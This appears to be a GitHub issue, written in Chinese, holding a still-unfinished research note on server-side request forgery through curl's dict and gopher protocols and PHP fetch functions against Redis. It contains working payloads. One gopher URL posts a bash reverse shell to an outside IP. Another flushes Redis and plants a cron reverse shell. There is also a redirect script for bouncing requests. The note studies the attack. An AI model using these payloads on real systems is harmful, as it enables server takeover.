Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SSRF漏洞研究(完善中) #16

Open
xinali opened this issue Feb 27, 2018 · 0 comments
Open

SSRF漏洞研究(完善中) #16

xinali opened this issue Feb 27, 2018 · 0 comments

Comments

@xinali
Copy link
Owner

xinali commented Feb 27, 2018

SSRF 利用

SSRF目前我所见过的主要攻击本地服务器主要有两种方式一个是利用redis,另一种是利用Memcached
进行SSRF攻击,利用最多的库就是libcurl,比如php中的curl_execcurl命令行等,可以先具体看看curl在SSRF中的作用。

SSRF 客户端主要利用方式

curl支持的协议

查看curl支持的协议

# curl -V
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp 

我们通过使用curl的几个协议可以知道,入侵主机的一些程序信息

  1. dict
attacker.com $ curl 'dict://victim.com:2323'
victim.com   $ nc -lvvp 2323 Listening on [0.0.0.0] (family 0, port 2323)                               
Connection from xxx 33442 received!  
CLIENT libcurl 7.47.0
  1. sftp
attacker.com $ curl 'dict://victim.com:2323'
evil.com     $ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0
QUIT

大部分的libcurl都不支持sftp协议,需要经过编译才能支持,所以一般这种探测都不会成功。不支持可以表现 在两个方面,一种是客户端的curl不支持发送sftp协议的数据,另一方面服务器端没有办法利用ssrf进行sftp的请求或接受该协议数据。

  1. gopher
    gopher协议最简单的请求: gopher://127.0.0.1:2333/_test
    gopher可以向任何端口发送任意形式的请求,例如http的post包:
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

比如我们利用gopher发送符合redis协议的数据包,攻击本地的redis,首先产生redis数据协议,可以利用下面的脚本产生需要的redis协议数据,只要每个数据用%0d%0a分割即可

#!/bin/bash
#
# License: MIT
# Author: Michael Weibel
#
gen_redis_protocol() {
    cmd=$1
    proto=""
    proto+="*"
    
    number_of_words=0
    byword=""
    for word in $cmd
    do
        number_of_words=$[number_of_words+1]
        byword+="$"
        byword+=${#word}
        byword+="\\r\\n"
        byword+=$word
        byword+="\\r\\n"
    done
    proto+=${number_of_words}
    proto+="\\r\\n"
    proto+=${byword}
    printf $proto
}
gen_redis_protocol "SET mykey Hello"

因为redis是通过\r\n%0d%0a,来分割每条命令的,所以首先用上面的脚本生成符合redis协议的数据,之后利用%0d%0a合并即可,举个简单的例子

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

实际上任何形式的报文都可以发,在下划线之后的内容既是报文内容,要注意url加密问题。
其中sftp和dict主要用于获取服务器端libsshlibcurl的版本信息,因为可以利用这两个软件的信息进行漏洞利用,gopher则可以直接进行攻击。

libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237)

SSRF 起源---服务器后端语言

SSRF 服务器端--php后端

如果利用php写的后端,那么php中可以触发ssrf的函数: file_get_contents(), fsockopen(), curl_exec(), fopen()

  1. curl_exec(),可以发送get请求和post请求:
    curl如果前面不输入协议会自动走http协议, 默认情况下,curl不会跟踪302跳转,并且curl不支持php的伪协议,不用考虑文件包含漏洞。
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://172.16.1.4/302.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); # 设置curl跟踪302跳转
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
?>
  1. file_get_contents只能get访问url,但是默认情况下就支持302跳转
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$response = file_get_contents("http://172.16.1.4/302.php");
var_dump($response);
?>

必须输入协议,比如http://,在php5.6php7.1.7测试下都不支持gopher。

同样该函数也是LFI(本地文件包含)漏洞需要重点关注的函数

  1. fsockopen需要自己写http报文,几乎不会有人用吧。 Fopen用的也很少,但是它是可以请求一个url的,如果php开启了 fopen 的 gopher wrapper,那么fopen就可以直接发送gopher请求。
    能够运行的原因就是curl扩展支持dictfile协议,可以利用这些协议对主机进行相关的数据请求。普通的标签,比如imgscript等基本都不会支持那么多的协议,就本就要想别的办法。

SSRF 提供某种服务--redis/memcache

redis

redis支持的通信协议格式

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

具体可以打印出来的是这样的

*3
$3
SET
$5
mykey
$7
myvalue

每行数据都是利用\r\n(%0d0a)分割的,只要能够发送这样的数据,redis都照常解析

  1. http 协议
    正常如果使用http协议请求redis,会出现这样的错误
$ curl 'http://212.24.111.64:6379/%0D%0Ainfo'
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'

出现这样错误是因为http协议的头数据都是通过\r\n来分割的,redis解析这样的数据,所以就出现了上面的错误。如果想要通过http数据利用redis,那么服务器端进行远程(或本地)请求的函数必须存在CRLF这样http头解析漏洞。

  1. CRLF漏洞
    如果目标服务器存在CRLF漏洞,对redis使用http请

我根据数据报文格式和redis的通信协议,猜测redis就是解析tcp数据包,以\r\n%0D%0A为分割线,分割成各个命令,所以如果存在CRLF漏洞,那么可以直接将命令注入报文中,redis解析之后直接执行命令!
比如redis支持dict协议

curl 'http://xx:6379/info'
curl 'http://xx:6379/config set dir /var/www/html'

ssrf在利用的过程中,经常会遇到某个应用"不支持"某种协议的情况,确切来说不是不支持,而是没有办法直接利用,举个例子,redis没有办法直接用http请求进行相关操作,如果直接用的话,会遇到这样的情况

memcache

参考链接

redis通信协议
ssrf总结

360识图ssrf:http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0229611
远程服务器脚本:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

ssrf=> mysql 导致getshell:https://paper.seebug.org/510/

@xinali xinali changed the title SSRF漏洞(研究完善中。。。) SSRF漏洞研究(完善中) Apr 18, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant